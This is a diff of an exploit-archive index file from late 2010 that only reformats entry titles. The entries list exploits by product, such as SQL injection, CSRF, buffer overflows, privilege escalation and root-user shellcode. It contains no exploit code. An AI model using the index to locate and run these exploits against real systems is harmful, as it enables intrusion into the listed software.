 15573,platforms/php/webapps/15573.html,"PHPGallery 1.1.0 CSRF Vulnerability",2010-11-19,Or4nG.M4N,php,webapps,0
 15574,platforms/php/webapps/15574.txt,"Arabian Youtube Script Blind SQL Injection Vulnerability",2010-11-19,R3d-D3v!L,php,webapps,0
@@ -13502,7 +13502,7 @@ id,file,description,date,author,platform,type,port
 15577,platforms/php/webapps/15577.html,"Plogger Gallery 1.0 CSRF Change Admin Password",2010-11-19,Or4nG.M4N,php,webapps,0
 15578,platforms/php/webapps/15578.txt,"DVD Rental Software SQL injection Vulnerability",2010-11-19,JaMbA,php,webapps,0
 15580,platforms/windows/dos/15580.pl,"Native Instruments Traktor Pro 1.2.6 Stack-based Buffer Overflow Vulnerability",2010-11-20,LiquidWorm,windows,dos,0
-15581,platforms/windows/dos/15581.txt,"Native Instruments Reaktor 5 Player v5.5.1 Heap Memory Corruption Vulnerability",2010-11-20,LiquidWorm,windows,dos,0
+15581,platforms/windows/dos/15581.txt,"Native Instruments Reaktor 5 Player 5.5.1 - Heap Memory Corruption Vulnerability",2010-11-20,LiquidWorm,windows,dos,0
 15582,platforms/windows/dos/15582.pl,"Native Instruments Kontakt 4 Player NKI File Syntactic Analysis Buffer Overflow PoC",2010-11-20,LiquidWorm,windows,dos,0
 15583,platforms/windows/dos/15583.pl,"Native Instruments Massive 1.1.4 KSD File Handling Use-After-Free Vulnerability",2010-11-20,LiquidWorm,windows,dos,0
 15584,platforms/windows/local/15584.txt,"Native Instruments Service Center 2.2.5 Local Privilege Escalation Vulnerability",2010-11-20,LiquidWorm,windows,local,0
@@ -13511,7 +13511,7 @@ id,file,description,date,author,platform,type,port
 15589,platforms/windows/local/15589.wsf,"Windows Task Scheduler Privilege Escalation 0day",2010-11-20,webDEViL,windows,local,0
 15590,platforms/php/webapps/15590.txt,"vBulletin 4.0.8 PL1 XSS Filter Bypass within Profile Customization",2010-11-20,MaXe,php,webapps,0
 15592,platforms/php/webapps/15592.txt,"Sahitya Graphics CMS Multiple Remote Vulnerabilities",2010-11-21,"Dr.0rYX and Cr3w-DZ",php,webapps,0
-15593,platforms/php/webapps/15593.html,"Cpanel 11.X Edit E-mail  Cross Site Request Forgery exploit",2010-11-21,"Mon7rF .",php,webapps,0
+15593,platforms/php/webapps/15593.html,"Cpanel 11.X Edit E-mail Cross Site Request Forgery exploit",2010-11-21,"Mon7rF .",php,webapps,0
 15594,platforms/php/webapps/15594.txt,"AuraCMS (pfd.php) SQL Injection Vulnerability",2010-11-22,"Don Tukulesto",php,webapps,0
 15595,platforms/php/webapps/15595.txt,"jSchool Advanced Blind SQL Injection Vulnerability",2010-11-22,"Don Tukulesto",php,webapps,0
 15596,platforms/jsp/webapps/15596.txt,"JCMS 2010 file download vulnerability",2010-11-22,Beach,jsp,webapps,0
@@ -13529,26 +13529,26 @@ id,file,description,date,author,platform,type,port
 15610,platforms/php/webapps/15610.txt,"Joomla JE Ajax Event Calendar Component (com_jeajaxeventcalendar) SQL Injection",2010-11-25,altbta,php,webapps,0
 15611,platforms/multiple/webapps/15611.txt,"JDownloader Webinterface Source Code Disclosure Vulnerability",2010-11-25,Sil3nt_Dre4m,multiple,webapps,0
 15612,platforms/php/webapps/15612.txt,"SiteEngine <= 7.1 SQL Injection Vulnerability",2010-11-25,Beach,php,webapps,0
-15613,platforms/windows/dos/15613.py,"NCH Officeintercom <= v5.20 Remote Denial of Service Vulnerability",2010-11-25,"xsploited security",windows,dos,0
+15613,platforms/windows/dos/15613.py,"NCH Officeintercom <= 5.20 - Remote Denial of Service Vulnerability",2010-11-25,"xsploited security",windows,dos,0
 15614,platforms/php/webapps/15614.html,"Wolf CMS 0.6.0b Multiple Vulnerabilities",2010-11-25,"High-Tech Bridge SA",php,webapps,0
 15615,platforms/php/webapps/15615.html,"Frog CMS 0.9.5 Multiple Vulnerabilities",2010-11-25,"High-Tech Bridge SA",php,webapps,0
 15616,platforms/arm/shellcode/15616.c,"Linux/ARM - add root user with password - 151 bytes",2010-11-25,"Jonathan Salwan",arm,shellcode,0
 15617,platforms/multiple/remote/15617.txt,"VMware 2 Web Server Directory Traversal",2010-11-25,clshack,multiple,remote,0
 15618,platforms/osx/shellcode/15618.c,"OSX/Intel - setuid shell x86_64 - 51 bytes",2010-11-25,"Dustin Schultz",osx,shellcode,0
 15619,platforms/linux/dos/15619.c,"Linux Kernel 'setup_arg_pages()' Denial of Service Vulnerability",2010-11-26,"Roland McGrath",linux,dos,0
-15620,platforms/linux/local/15620.sh,"Local Root Privilege Escalation Vulnerability in systemtap",2010-11-26,"Tavis Ormandy",linux,local,0
+15620,platforms/linux/local/15620.sh,"systemtap - Local Root Privilege Escalation Vulnerability",2010-11-26,"Tavis Ormandy",linux,local,0
 15621,platforms/php/webapps/15621.txt,"Jurpopage 0.2.0 SQL Injection",2010-11-27,Sudden_death,php,webapps,0
 15622,platforms/linux/dos/15622.c,"Linux Kernel Unix Sockets Local Denial of Service",2010-11-27,"Key Night",linux,dos,0
-15623,platforms/php/webapps/15623.pl,"MemHT Portal 4.0.1  [user agent] Persistent Cross Site Scripting",2010-11-27,ZonTa,php,webapps,0
+15623,platforms/php/webapps/15623.pl,"MemHT Portal 4.0.1 [user agent] Persistent Cross Site Scripting",2010-11-27,ZonTa,php,webapps,0
 15624,platforms/windows/local/15624.txt,"CA Internet Security Suite 2010 KmxSbx.sys Kernel Pool Overflow 0 day Exploit",2010-11-28,"Nikita Tarakanov",windows,local,0
 15625,platforms/cgi/webapps/15625.txt,"Skeletonz CMS Permanent XSS Vulnerability",2010-11-28,Jbyte,cgi,webapps,0
 15626,platforms/windows/local/15626.py,"OTSTurntables 1.00.048 (m3u/ofl) Local BOF Exploit (SEH)",2010-11-28,0v3r,windows,local,0
 15627,platforms/asp/webapps/15627.html,"Site2Nite Big Truck Broker ""txtSiteId"" SQL Injection Vulnerability",2010-11-28,underground-stockholm.com,asp,webapps,0
-15628,platforms/windows/dos/15628.py,"Hanso Player Version 1.4.0 (.m3u) Denial of Service Vulnerability",2010-11-28,anT!-Tr0J4n,windows,dos,0
+15628,platforms/windows/dos/15628.py,"Hanso Player 1.4.0 - (.m3u) Denial of Service Vulnerability",2010-11-28,anT!-Tr0J4n,windows,dos,0
 15629,platforms/asp/webapps/15629.txt,"MicroNetSoft RV Dealer Website search.asp, showAlllistings.asp SQL Injection",2010-11-29,underground-stockholm.com,asp,webapps,0
 15630,platforms/windows/local/15630.py,"Mediacoder 0.7.5.4792 Buffer Overflow Exploit (SEH)",2010-11-29,0v3r,windows,local,0
 15631,platforms/hardware/remote/15631.txt,"HP LaserJet Directory Traversal in PJL Interface",2010-11-29,"n.runs AG",hardware,remote,0
-15632,platforms/windows/dos/15632.py,"FoxPlayer v2.4.0 Denial of Service",2010-11-29,"Oh Yaw Theng",windows,dos,0
+15632,platforms/windows/dos/15632.py,"FoxPlayer 2.4.0 - Denial of Service",2010-11-29,"Oh Yaw Theng",windows,dos,0
 15633,platforms/php/webapps/15633.html,"Diferior 8.03 Multiple XSS Vulnerabilities",2010-11-29,"High-Tech Bridge SA",php,webapps,0
 15635,platforms/windows/dos/15635.py,"Provj 5.1.5.5 (m3u) Buffer Overflow Vulnerability PoC",2010-11-30,0v3r,windows,dos,0
 15636,platforms/php/webapps/15636.txt,"Orbis CMS 1.0.2 Arbitrary File Upload Vulnerability",2010-11-30,"Mark Stanislav",php,webapps,0
@@ -13563,23 +13563,23 @@ id,file,description,date,author,platform,type,port
 15645,platforms/php/webapps/15645.txt,"Enano CMS 1.1.7pl1 Multiple Vulnerabilities",2010-11-30,"High-Tech Bridge SA",php,webapps,0
 15646,platforms/php/webapps/15646.txt,"DynPG 4.2.0 Multiple Vulnerabilities",2010-11-30,"High-Tech Bridge SA",php,webapps,0
 15647,platforms/php/webapps/15647.txt,"Elxis CMS 2009.2 SQL Injection Vulnerabilities",2010-11-30,"High-Tech Bridge SA",php,webapps,0
-15648,platforms/windows/remote/15648.html,"J-Integra v2.11 Remote Code Execution Exploit",2010-12-01,bz1p,windows,remote,0
+15648,platforms/windows/remote/15648.html,"J-Integra 2.11 - Remote Code Execution Exploit",2010-12-01,bz1p,windows,remote,0
 15649,platforms/windows/dos/15649.pl,"HP Data Protector Manager A.06.11 MMD NULL Pointer Dereference Denial of Service",2010-12-01,Pepelux,windows,dos,0
 15650,platforms/php/webapps/15650.txt,"Alibaba Clone B2B 3.4 SQL Injection Vulnerability",2010-12-01,"Dr.0rYX and Cr3w-DZ",php,webapps,0
 15651,platforms/php/webapps/15651.txt,"OsCSS 1.2 Arbitrary File Upload Vulnerability",2010-12-01,"Shichemt Alen",php,webapps,0
 15653,platforms/asp/webapps/15653.txt,"BugTracker.Net 3.4.4 Multiple Vulnerabilities",2010-12-01,"Core Security",asp,webapps,0
 15654,platforms/php/webapps/15654.txt,"Digitalus 1.10.0 Alpha2 Arbitrary File Upload Vulnerability",2010-12-01,eidelweiss,php,webapps,0
-15655,platforms/windows/remote/15655.html,"J-Integra v2.11 ActiveX SetIdentity() Buffer Overflow Exploit",2010-12-01,Dr_IDE,windows,remote,0
+15655,platforms/windows/remote/15655.html,"J-Integra 2.11 - ActiveX SetIdentity() Buffer Overflow Exploit",2010-12-01,Dr_IDE,windows,remote,0
 15656,platforms/php/webapps/15656.txt,"LittlePhpGallery 1.0.2 Local File Inclusion",2010-12-01,"kire bozorge khavarmian",php,webapps,0
 15657,platforms/windows/dos/15657.txt,"FreeTrim MP3 2.2.3 Denial of Service Vulnerability",2010-12-02,h1ch4m,windows,dos,0
-15658,platforms/windows/remote/15658.rb,"Image Viewer CP Gold v5.5 Image2PDF() Buffer Overflow (msf)",2010-12-02,bz1p,windows,remote,0
+15658,platforms/windows/remote/15658.rb,"Image Viewer CP Gold 5.5 - Image2PDF() Buffer Overflow (msf)",2010-12-02,bz1p,windows,remote,0
 15659,platforms/php/webapps/15659.txt,"Contenido CMS 4.8.12 XSS Vulnerabilities",2010-12-02,"High-Tech Bridge SA",php,webapps,0
 15660,platforms/php/webapps/15660.txt,"Etomite 1.1 Multiple Vulnerabilities",2010-12-02,"High-Tech Bridge SA",php,webapps,0
 15661,platforms/asp/webapps/15661.txt,"Ananda Real Estate 3.4 (list.asp) Multiple SQL Injection",2010-12-02,underground-stockholm.com,asp,webapps,0
 15662,platforms/linux/remote/15662.txt,"ProFTPD 1.3.3c compromised source remote root Trojan",2010-12-02,anonymous,linux,remote,21
 15663,platforms/windows/local/15663.py,"MediaCoder <= 0.7.5.4797 .m3u Buffer Overflow (SEH)",2010-12-02,"Oh Yaw Theng",windows,local,0
-15664,platforms/hardware/remote/15664.txt,"iFTPStorage for iPhone / iPod touch <= 1.3 - Directory Traversal",2010-12-03,XEL,hardware,remote,0
-15665,platforms/asp/webapps/15665.txt,"Easy Travel Portal v2 (travelbycountry.asp) SQL Injection Vulnerability",2010-12-03,"Ulrik Persson",asp,webapps,0
+15664,platforms/hardware/remote/15664.txt,"iOS iFTPStorage <= 1.3 - Directory Traversal",2010-12-03,XEL,hardware,remote,0
+15665,platforms/asp/webapps/15665.txt,"Easy Travel Portal 2 - (travelbycountry.asp) SQL Injection Vulnerability",2010-12-03,"Ulrik Persson",asp,webapps,0
 15666,platforms/hardware/webapps/15666.txt,"Multiple D-Link Router Models Authentication Bypass Vulnerability",2010-12-03,"Craig Heffner",hardware,webapps,0
 15668,platforms/windows/remote/15668.html,"Image Viewer CP Gold 6 ActiveX TifMergeMultiFiles() Buffer Overflow",2010-12-03,Dr_IDE,windows,remote,0
 15669,platforms/windows/dos/15669.py,"Mediamonkey 3.2.4.1304 (mp3) Buffer Overflow Vulnerability PoC",2010-12-04,0v3r,windows,dos,0
@@ -13596,7 +13596,7 @@ id,file,description,date,author,platform,type,port
 15681,platforms/asp/webapps/15681.txt,"ASPSiteware JobPost 1.0 SQL Injection",2010-12-04,R4dc0re,asp,webapps,0
 15682,platforms/asp/webapps/15682.txt,"ASPSiteware ASP Gallery 1.0 SQL Injection",2010-12-04,R4dc0re,asp,webapps,0
 15683,platforms/asp/webapps/15683.txt,"ASPSiteware Contact Directory 1.0 SQL Injection",2010-12-04,R4dc0re,asp,webapps,0
-15684,platforms/php/webapps/15684.txt,"SQL injection vulnerability in do_trackbacks() Wordpress function",2010-12-05,M4g,php,webapps,0
+15684,platforms/php/webapps/15684.txt,"Wordpress do_trackbacks() function - SQL injection vulnerability",2010-12-05,M4g,php,webapps,0
 15685,platforms/php/webapps/15685.html,"phpKF Forum 1.80 profil_degistir.php CSRF Exploit",2010-12-05,FreWaL,php,webapps,0
 15686,platforms/asp/webapps/15686.txt,"Gatesoft Docusafe 4.1.0 SQL Injection Vulnerability",2010-12-05,R4dc0re,asp,webapps,0
 15687,platforms/asp/webapps/15687.txt,"Ecommercemax Solutions Digital Goods Seller SQL Injection",2010-12-05,R4dc0re,asp,webapps,0
@@ -13630,27 +13630,27 @@ id,file,description,date,author,platform,type,port
 15720,platforms/php/webapps/15720.txt,"Sulata iSoft (stream.php) Local File Disclosure Exploit",2010-12-10,Sudden_death,php,webapps,0
 15721,platforms/php/webapps/15721.txt,"Joomla Component Billy Portfolio 1.1.2 Blind SQL Injection",2010-12-10,jdc,php,webapps,0
 15722,platforms/multiple/dos/15722.txt,"PHP 5.3.3 NumberFormatter::getSymbol Integer Overflow",2010-12-10,"Maksymilian Arciemowicz",multiple,dos,0
-15723,platforms/freebsd/remote/15723.c,"LiteSpeed Web Server 4.0.17 w/ PHP Remote Exploit for FreeBSD",2010-12-10,Kingcope,freebsd,remote,0
+15723,platforms/freebsd/remote/15723.c,"FreeBSD LiteSpeed Web Server 4.0.17 w/ PHP - Remote Exploit",2010-12-10,Kingcope,freebsd,remote,0
 15725,platforms/linux/remote/15725.pl,"Exim 4.63 Remote Root Exploit",2010-12-11,Kingcope,linux,remote,0
 15727,platforms/windows/local/15727.py,"FreeAmp 2.0.7 .m3u Buffer Overflow",2010-12-11,zota,windows,local,0
 15728,platforms/hardware/webapps/15728.txt,"Clear iSpot/Clearspot CSRF Vulnerabilities",2010-12-12,"Trustwave's SpiderLabs",hardware,webapps,0
 15729,platforms/windows/local/15729.py,"PowerShell XP 3.0.1 Buffer Overflow 0day",2010-12-12,m_101,windows,local,0
-15730,platforms/windows/local/15730.rb,"SnackAmp 3.1.3 Malicious SMP Buffer Overflow Vulnerability (SEH)",2010-12-12,"James Fitts",windows,local,0
+15730,platforms/windows/local/15730.rb,"SnackAmp 3.1.3 - SMP Buffer Overflow Vulnerability (SEH)",2010-12-12,"James Fitts",windows,local,0
 15732,platforms/linux/dos/15732.txt,"FontForge .BDF Font File Stack-Based Buffer Overflow",2010-12-14,"Ulrik Persson",linux,dos,0
-15733,platforms/windows/remote/15733.html,"Crystal Reports Viewer 12.0.0.549 Activex Exploit (PrintControl.dll) 0-day",2010-12-14,Dr_IDE,windows,remote,0
-15735,platforms/php/webapps/15735.txt,"MantisBT <=1.2.3 (db_type) Cross-Site Scripting & Path Disclosure Vulnerability",2010-12-15,LiquidWorm,php,webapps,0
-15736,platforms/php/webapps/15736.txt,"MantisBT <=1.2.3 (db_type) Local File Inclusion Vulnerability",2010-12-15,LiquidWorm,php,webapps,0
+15733,platforms/windows/remote/15733.html,"Crystal Reports Viewer 12.0.0.549 - Activex Exploit (PrintControl.dll) 0day",2010-12-14,Dr_IDE,windows,remote,0
+15735,platforms/php/webapps/15735.txt,"MantisBT <= 1.2.3 (db_type) - Cross-Site Scripting & Path Disclosure Vulnerability",2010-12-15,LiquidWorm,php,webapps,0
+15736,platforms/php/webapps/15736.txt,"MantisBT <= 1.2.3 (db_type) - Local File Inclusion Vulnerability",2010-12-15,LiquidWorm,php,webapps,0
 15737,platforms/cgi/webapps/15737.txt,"Google Urchin 5.7.03 LFI Vulnerability 0day",2010-12-15,"Kristian Erik Hermansen",cgi,webapps,0
 15738,platforms/windows/dos/15738.pl,"Digital Audio Editor 7.6.0.237 Local Crash PoC",2010-12-15,h1ch4m,windows,dos,0
 15739,platforms/windows/dos/15739.pl,"Easy DVD Creator Local Crash PoC",2010-12-15,h1ch4m,windows,dos,0
 15740,platforms/php/webapps/15740.txt,"Pointter PHP Content Management System Unauthorized Privilege Escalation",2010-12-15,"Mark Stanislav",php,webapps,0
 15741,platforms/php/webapps/15741.txt,"Pointter PHP Micro-Blogging Social Network Unauthorized Privilege Escalation",2010-12-15,"Mark Stanislav",php,webapps,0
 15742,platforms/php/webapps/15742.txt,"BEdita 3.0.1.2550 Multiple Vulnerabilities",2010-12-15,"High-Tech Bridge SA",php,webapps,0
-15743,platforms/php/webapps/15743.txt,"BLOG:CMS <= v4.2.1e Multiple Vulnerabilities",2010-12-15,"High-Tech Bridge SA",php,webapps,0
-15744,platforms/cgi/webapps/15744.txt,"Gitweb <=1.7.3.3 Cross Site Scripting",2010-12-15,emgent,cgi,webapps,80
+15743,platforms/php/webapps/15743.txt,"BLOG:CMS <= 4.2.1e - Multiple Vulnerabilities",2010-12-15,"High-Tech Bridge SA",php,webapps,0
+15744,platforms/cgi/webapps/15744.txt,"Gitweb <= 1.7.3.3 - Cross Site Scripting",2010-12-15,emgent,cgi,webapps,80
 15745,platforms/linux/local/15745.txt,"IBM Tivoli Storage Manager (TSM) Local Root",2010-12-15,"Kryptos Logic",linux,local,0
 15746,platforms/windows/remote/15746.rb,"Internet Explorer 8 CSS Parser Exploit",2010-12-15,"Nephi Johnson",windows,remote,0
-15747,platforms/windows/local/15747.py,"Aesop GIF Creator <= v2.1 (.aep) Buffer Overflow Exploit",2010-12-16,xsploitedsec,windows,local,0
+15747,platforms/windows/local/15747.py,"Aesop GIF Creator <= 2.1 - (.aep) Buffer Overflow Exploit",2010-12-16,xsploitedsec,windows,local,0
 15748,platforms/php/webapps/15748.txt,"QualDev eCommerce script SQL Injection Vulnerability",2010-12-16,ErrNick,php,webapps,0
 15749,platforms/php/webapps/15749.txt,"Joomla JRadio Component (com_jradio) Local File Inclusion",2010-12-16,Sid3^effects,php,webapps,0
 15750,platforms/windows/dos/15750.py,"SolarFTP 2.0 Multiple Commands Denial of Service Vulnerability",2010-12-16,modpr0be,windows,dos,0
@@ -13661,23 +13661,23 @@ id,file,description,date,author,platform,type,port
 15755,platforms/php/webapps/15755.txt,"Easy Online Shop SQL Injection Vulnerability",2010-12-17,"Easy Laster",php,webapps,0
 15756,platforms/php/webapps/15756.txt,"MHP Downloadshop SQL Injection Vulnerability",2010-12-17,"Easy Laster",php,webapps,0
 15758,platforms/win32/dos/15758.c,"Windows Win32k Pointer Dereferencement PoC (MS10-098)",2010-12-17,"Stefan LE BERRE",win32,dos,0
-15761,platforms/windows/local/15761.txt,"AhnLab V3 Internet Security 8.0  <= 1.2.0.4  Privilege Escalation Vulnerability",2010-12-17,MJ0011,windows,local,0
-15762,platforms/windows/local/15762.txt,"NProtect  Anti-Virus 2007 <= 2010.5.11.1 Privilege Escalation Vulnerability",2010-12-17,MJ0011,windows,local,0
-15763,platforms/windows/local/15763.txt,"ESTsoft ALYac Anti-Virus 1.5 <= 5.0.1.2 Privilege Escalation Vulnerability",2010-12-17,MJ0011,windows,local,0
-15764,platforms/windows/local/15764.txt,"ViRobot Desktop 5.5 and Server 3.5 <=2008.8.1.1 Privilege Escalation Vulnerability",2010-12-17,MJ0011,windows,local,0
+15761,platforms/windows/local/15761.txt,"AhnLab V3 Internet Security 8.0 <= 1.2.0.4 - Privilege Escalation Vulnerability",2010-12-17,MJ0011,windows,local,0
+15762,platforms/windows/local/15762.txt,"NProtect Anti-Virus 2007 <= 2010.5.11.1 - Privilege Escalation Vulnerability",2010-12-17,MJ0011,windows,local,0
+15763,platforms/windows/local/15763.txt,"ESTsoft ALYac Anti-Virus 1.5 <= 5.0.1.2 - Privilege Escalation Vulnerability",2010-12-17,MJ0011,windows,local,0
+15764,platforms/windows/local/15764.txt,"ViRobot Desktop 5.5 and Server 3.5 <= 2008.8.1.1 - Privilege Escalation Vulnerability",2010-12-17,MJ0011,windows,local,0
 15765,platforms/php/webapps/15765.txt,"CubeCart v 3.x Remote File Upload Vulnerability",2010-12-17,StunTMaN!,php,webapps,0
 15766,platforms/php/webapps/15766.txt,"Radius Manager 3.8.0 Multiple XSS Vulnerabilities",2010-12-17,"Rodrigo Rubira Branco",php,webapps,0
 15767,platforms/windows/dos/15767.py,"Ecava IntegraXor Remote ActiveX Buffer Overflow PoC",2010-12-18,"Jeremy Brown",windows,dos,0
 15768,platforms/php/webapps/15768.txt,"MCFileManager Plugin for TinyMCE 3.2.2.3 Arbitrary File Upload Vulnerability",2010-12-18,"Vladimir Vorontsov",php,webapps,0
-15769,platforms/php/webapps/15769.txt,"Ero Auktion v2010 (item.php) SQL Injection Vulnerability",2010-12-18,"DeadLy DeMon",php,webapps,0
-15770,platforms/php/webapps/15770.txt,"Download Center v2.2 SQL injection Vulnerability",2010-12-18,"DeadLy DeMon",php,webapps,0
+15769,platforms/php/webapps/15769.txt,"Ero Auktion 2010 - (item.php) SQL Injection Vulnerability",2010-12-18,"DeadLy DeMon",php,webapps,0
+15770,platforms/php/webapps/15770.txt,"Download Center 2.2 - SQL injection Vulnerability",2010-12-18,"DeadLy DeMon",php,webapps,0
 15771,platforms/php/webapps/15771.txt,"SchuldnerBeratung SQL injection Vulnerability",2010-12-18,"DeadLy DeMon",php,webapps,0
 15772,platforms/php/webapps/15772.txt,"PayPal Shop Digital SQL Injection Vulnerability",2010-12-18,"DeadLy DeMon",php,webapps,0
 15773,platforms/php/webapps/15773.txt,"Projekt Shop (details.php) Multiple SQL injection Vulnerabilities",2010-12-18,"DeadLy DeMon",php,webapps,0
 15774,platforms/linux/local/15774.c,"Linux Kernel < 2.6.37-rc2 ACPI custom_method Privilege Escalation",2010-12-18,"Jon Oberheide",linux,local,0
 15775,platforms/php/webapps/15775.txt,"Mafia Game Script SQL injection Vulnerability",2010-12-18,"DeadLy DeMon",php,webapps,0
 15776,platforms/asp/webapps/15776.pl,"Virtual Store Open 3.0 Acess SQL Injection",2010-12-18,Br0ly,asp,webapps,0
-15777,platforms/asp/webapps/15777.txt,"Oto Galery v1.0 Multiple SQL Injection Vulnerabilities",2010-12-19,"DeadLy DeMon",asp,webapps,0
+15777,platforms/asp/webapps/15777.txt,"Oto Galery 1.0 - Multiple SQL Injection Vulnerabilities",2010-12-19,"DeadLy DeMon",asp,webapps,0
 15779,platforms/php/webapps/15779.txt,"Joomla JE Auto Component (com_jeauto) LFI Vulnerability",2010-12-19,Sid3^effects,php,webapps,0
 15781,platforms/php/webapps/15781.txt,"Inout Webmail Script Persistent XSS Vulnerability",2010-12-20,Sid3^effects,php,webapps,0
 15782,platforms/windows/local/15782.pl,"Word Splash Pro <= 9.5 Buffer Overflow",2010-12-20,h1ch4m,windows,local,0
@@ -13688,10 +13688,10 @@ id,file,description,date,author,platform,type,port
 15787,platforms/windows/dos/15787.py,"Accmeware MP3 Speed 5.0.9 DoS PoC",2010-12-20,0v3r,windows,dos,0
 15788,platforms/windows/dos/15788.py,"Accmeware MP3 Cut 5.0.9 DoS PoC",2010-12-20,0v3r,windows,dos,0
 15789,platforms/php/webapps/15789.txt,"plx Ad Trader 3.2 Authentication Bypass Vulnerability",2010-12-20,R4dc0re,php,webapps,0
-15790,platforms/php/webapps/15790.txt,"PHP Web Scripts Ad Manager Pro v3 SQL Injection",2010-12-20,R4dc0re,php,webapps,0
+15790,platforms/php/webapps/15790.txt,"PHP Web Scripts Ad Manager Pro 3.0 - SQL Injection",2010-12-20,R4dc0re,php,webapps,0
 15791,platforms/php/webapps/15791.txt,"Joomla Component Jotloader 2.2.1 Local File Inclusion Vulnerability",2010-12-20,v3n0m,php,webapps,0
 15792,platforms/hardware/dos/15792.php,"Apple iPhone Safari (body alink) Remote Crash",2010-12-20,"Yakir Wizman",hardware,dos,0
-15793,platforms/php/webapps/15793.txt,"Vacation Rental Script v4.0 Arbitrary File Upload Vulnerability",2010-12-20,Br0ly,php,webapps,0
+15793,platforms/php/webapps/15793.txt,"Vacation Rental Script 4.0 - Arbitrary File Upload Vulnerability",2010-12-20,Br0ly,php,webapps,0
 15794,platforms/hardware/dos/15794.php,"Apple iPhone Safari (decodeURI) Remote Crash",2010-12-20,"Yakir Wizman",hardware,dos,0
 15795,platforms/php/webapps/15795.txt,"Serendipity 1.5.4 0day Arbitrary File Upload Vulnerability",2010-12-21,pentesters.ir,php,webapps,0
 15796,platforms/hardware/dos/15796.php,"Apple iPhone Safari (decodeURIComponent) Remote Crash",2010-12-21,"Yakir Wizman",hardware,dos,0
@@ -13711,7 +13711,7 @@ id,file,description,date,author,platform,type,port
 15810,platforms/hardware/webapps/15810.txt,"D-Link WBR-1310 Authentication Bypass Vulnerability",2010-12-23,"Craig Heffner",hardware,webapps,0
 15811,platforms/php/webapps/15811.txt,"Built2Go PHP Shopping SQL Injection Vulnerability",2010-12-23,Br0ly,php,webapps,0
 15812,platforms/php/webapps/15812.txt,"Ypninc Realty Classifieds SQL Injection Vulnerability",2010-12-23,Br0ly,php,webapps,0
-15813,platforms/php/webapps/15813.txt,"IPN Development Handler v2.0 Multiple Vulnerabilities",2010-12-23,AtT4CKxT3rR0r1ST,php,webapps,0
+15813,platforms/php/webapps/15813.txt,"IPN Development Handler 2.0 - Multiple Vulnerabilities",2010-12-23,AtT4CKxT3rR0r1ST,php,webapps,0
 15814,platforms/php/webapps/15814.txt,"Joomla Component com_ponygallery Remote File Inclusion Vulnerabilities",2010-12-23,AtT4CKxT3rR0r1ST,php,webapps,0
 15815,platforms/php/webapps/15815.txt,"Joomla Component com_adsmanager Remote File Inclusion Vulnerability",2010-12-23,AtT4CKxT3rR0r1ST,php,webapps,0
 15816,platforms/php/webapps/15816.txt,"CubeCart <= 3.0.4 SQL Injection Vulnerability",2010-12-23,Dr.NeT,php,webapps,0
@@ -13719,34 +13719,34 @@ id,file,description,date,author,platform,type,port
 15819,platforms/php/webapps/15819.txt,"Joomla Component com_xmovie 1.0 Local File Inclusion Vulnerability",2010-12-24,KelvinX,php,webapps,0
 15820,platforms/php/webapps/15820.txt,"SquareCMS 0.3.1 (post.php) SQL Injection Vulnerability",2010-12-24,cOndemned,php,webapps,0
 15821,platforms/windows/dos/15821.py,"HttpBlitz Web Server Denial Of Service Exploit",2010-12-24,otoy,windows,dos,0
-15822,platforms/php/webapps/15822.html,"CubeCart 3.0.6 <= CSRF Vulnerability (Add Admin)",2010-12-24,"P0C T34M",php,webapps,0
+15822,platforms/php/webapps/15822.html,"CubeCart 3.0.6 - CSRF Vulnerability (Add Admin)",2010-12-24,"P0C T34M",php,webapps,0
 15824,platforms/php/webapps/15824.txt,"Pligg 1.1.2 Blind SQL Injection and XSS Vulnerabilities",2010-12-25,"Michael Brooks",php,webapps,0
 15825,platforms/php/webapps/15825.txt,"OpenAuto 1.6.3 Multiple Vulnerabilities",2010-12-25,"Michael Brooks",php,webapps,0
 15826,platforms/php/webapps/15826.txt,"Traidnt Up 3.0 CSRF Vulnerability",2010-12-25,"P0C T34M",php,webapps,0
 15827,platforms/php/webapps/15827.txt,"Joomla Component (com_idoblog) SQL Injection Vulnerability",2010-12-25,NOCKAR1111,php,webapps,0
-15828,platforms/php/webapps/15828.txt,"Vacation Rental Script v4.0 XSRF Vulnerability",2010-12-25,OnurTURKESHAN,php,webapps,0
+15828,platforms/php/webapps/15828.txt,"Vacation Rental Script 4.0 - CSRF Vulnerability",2010-12-25,OnurTURKESHAN,php,webapps,0
 15830,platforms/php/webapps/15830.txt,"Social Engine 4.x (Music Plugin) Arbitrary File Upload Vulnerability",2010-12-25,MyDoom,php,webapps,0
 15831,platforms/php/webapps/15831.txt,"LoveCMS 1.6.2 Final Multiple Local File Inclusion Vulnerabilities",2010-12-25,cOndemned,php,webapps,0
 15832,platforms/php/webapps/15832.txt,"Interact 2.4.1 SQL Injection Vulnerability",2010-12-26,"IR Security",php,webapps,0
-15834,platforms/windows/remote/15834.py,"Kolibri v2.0 Buffer Overflow RET + SEH exploit (HEAD)",2010-12-26,TheLeader,windows,remote,0
-15835,platforms/php/webapps/15835.html,"pecio CMS v2.0.5 <= CSRF Add Admin",2010-12-27,"P0C T34M",php,webapps,0
-15836,platforms/php/webapps/15836.txt,"OpenEMR v3.2.0 SQL Injection and XSS",2010-12-27,Blake,php,webapps,0
+15834,platforms/windows/remote/15834.py,"Kolibri 2.0 - Buffer Overflow RET + SEH exploit (HEAD)",2010-12-26,TheLeader,windows,remote,0
+15835,platforms/php/webapps/15835.html,"pecio CMS 2.0.5 - CSRF Add Admin",2010-12-27,"P0C T34M",php,webapps,0
+15836,platforms/php/webapps/15836.txt,"OpenEMR 3.2.0 - SQL Injection and XSS",2010-12-27,Blake,php,webapps,0
 15837,platforms/php/webapps/15837.txt,"Web@all <= 1.1 Remote Admin Settings Change",2010-12-27,"Giuseppe D'Inverno",php,webapps,0
 15838,platforms/php/webapps/15838.php,"OpenClassifieds 1.7.0.3 Chained: Captcha Bypass->SQLi->Persistent XSS on Frontpage",2010-12-28,"Michael Brooks",php,webapps,0
 15839,platforms/windows/dos/15839.php,"Microsoft Windows Fax Services Cover Page Editor (.cov) Memory Corruption",2010-12-28,rgod,windows,dos,0
-15840,platforms/php/webapps/15840.txt,"ardeaCore_v2.25 PHP Framework Remote File Inclusion",2010-12-29,n0n0x,php,webapps,0
+15840,platforms/php/webapps/15840.txt,"ardeaCore 2.25 - PHP Framework Remote File Inclusion",2010-12-29,n0n0x,php,webapps,0
 15842,platforms/hardware/remote/15842.txt,"DD-WRT Information Disclosure Vulnerability",2010-12-29,"Craig Heffner",hardware,remote,0
 15843,platforms/php/webapps/15843.txt,"News Script PHP Pro (fckeditor) File Upload Vulnerability",2010-12-29,Net.Edit0r,php,webapps,0
